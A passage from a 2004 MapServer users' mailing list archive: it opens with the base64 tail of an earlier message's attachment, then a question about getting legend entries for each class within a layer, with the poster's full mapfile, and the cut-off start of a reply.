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 ------=_NextPart_000_0004_00001862.00002614-- From richard.orchard at ermapper.com.au Tue Jun 15 01:42:20 2004 From: richard.orchard at ermapper.com.au (Richard Orchard) Date: Tue, 15 Jun 2004 16:42:20 +0800 Subject: [Mapserver-users] Building a legend - with class objects in layers Message-ID: hi, I am using mapserver to display some geology datasets. A particular layer has multiple classes in order to show the various features (different rock types). The features are color-coded, therefore, i need each feature (class) to display in the legend. However, when the legend is generated, it just creates one item, based on the layer name. it doesn't iterate through the various class objects. Is this the way it is supposed to work? Or is there a way to get it to create a legend item for each class item within a layer. At present i am creating new layer objects for each item i want to display. I have put the map file i am using at the bottom of this email. Thanks in advance, Richard ---- mapfile MAP NAME "Australia - General Information" STATUS ON EXTENT 109.337 -44.387 158.742 -8.8081 SIZE 400 300 SHAPEPATH "D:\webs\www3\gis_data\australia" SYMBOLSET "D:\webs\www3\mapserver\etc\symbols.sym" FONTSET "D:\webs\www3\mapserver\etc\fonts.txt" IMAGETYPE PNG IMAGECOLOR 255 255 255 UNITS DD # # Start of web interface definition # WEB MINSCALE 2e+06 MAXSCALE 5e+07 # # On Windows systems, /tmp and /tmp/ms_tmp/ should be created at the root # of the drive where the .MAP file resides. # IMAGEPATH "D:/webs/www3/temp/" IMAGEURL "/temp/" END # # # Start of querymap object # QUERYMAP STATUS OFF SIZE -1 -1 COLOR 255 0 0 STYLE HILITE END # # Start of legend object # LEGEND STATUS ON IMAGECOLOR 255 255 255 POSITION LL KEYSIZE 18 12 KEYSPACING 5 5 TEMPLATE "ttt" LABEL TYPE BITMAP SIZE MEDIUM OFFSET 0 0 BUFFER 0 MINDISTANCE -1 MINFEATURESIZE -1 COLOR 0 0 89 PARTIALS TRUE FORCE FALSE END END # # Start of scalebar object # SCALEBAR STATUS ON COLOR 255 255 255 OUTLINECOLOR 0 0 0 BACKGROUNDCOLOR 0 0 0 IMAGECOLOR 255 255 255 UNITS KILOMETERS INTERVALS 5 SIZE 150 5 STYLE 0 POSITION LL LABEL TYPE BITMAP SIZE SMALL OFFSET 0 0 BUFFER 0 MINDISTANCE -1 MINFEATURESIZE -1 COLOR 0 0 0 PARTIALS TRUE FORCE FALSE END END # # Start of OutputFormat object # OUTPUTFORMAT NAME "png" MIMETYPE "image/png" DRIVER "GD/PNG" EXTENSION "png" IMAGEMODE PC256 TRANSPARENT FALSE END # # Start of layer definitions # LAYER NAME "Roads" STATUS ON DATA "./roads/roads" TYPE LINE UNITS METERS SIZEUNITS PIXELS METADATA "Description" "Test" END CLASS NAME "Roads" STYLE SYMBOL 0 COLOR 220 0 0 SIZE 1 MINSIZE 1 MAXSIZE 100 END END END LAYER NAME "Earth Quake Risk 0.05 - 0.10" STATUS ON DATA "./earthQuakeHazard/eqriskdd" TYPE POLYGON UNITS KILOMETERS SIZEUNITS PIXELS METADATA "Description" "Earth Quake" END CLASS NAME "RISKVAL2" EXPRESSION ('[RISKVAL]' eq '0.05 - 0.10') LABEL TYPE TRUETYPE FONT "fritqat-bold" SIZE 10 POSITION LL OFFSET 0 0 END STYLE SYMBOL 0 COLOR 255 150 123 SIZE 1 MINSIZE 1 MAXSIZE 100 END END END LAYER NAME "Earth Quake Risk < 0.05" STATUS ON DATA "./earthQuakeHazard/eqriskdd" TYPE POLYGON UNITS KILOMETERS SIZEUNITS PIXELS METADATA "Description" "Earth Quake" END CLASS NAME "RISKVAL2" EXPRESSION ('[RISKVAL]' eq '< 0.05') LABEL TYPE TRUETYPE FONT "fritqat-bold" SIZE 10 POSITION LL OFFSET 0 0 END STYLE SYMBOL 0 COLOR 255 255 181 SIZE 1 MINSIZE 1 MAXSIZE 100 END END END LAYER NAME "Earth Quake Risk > 0.10" STATUS ON DATA "./earthQuakeHazard/eqriskdd" TYPE POLYGON UNITS KILOMETERS SIZEUNITS PIXELS METADATA "Description" "Earth Quake" END CLASS NAME "RISKVAL2" EXPRESSION ('[RISKVAL]' eq '> 0.10') LABEL TYPE TRUETYPE FONT "fritqat-bold" SIZE 10 POSITION LL OFFSET 0 0 END STYLE SYMBOL 0 COLOR 247 81 148 SIZE 1 MINSIZE 1 MAXSIZE 100 END END END # Layer END This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the sender immediately and delete the original. Any other use of the email by you is prohibited.. www.ermapper.com www.earthetc.com From jacob.delfos at maunsell.com Tue Jun 15 01:59:12 2004 From: jacob.delfos at maunsell.com (Delfos, Jacob) Date: Tue, 15 Jun 2004 18:59:12 +1000 Subject: [Mapserver-users] Building a legend - with class objects in l ayers Message-ID: This message is in MIME format. Since your mail 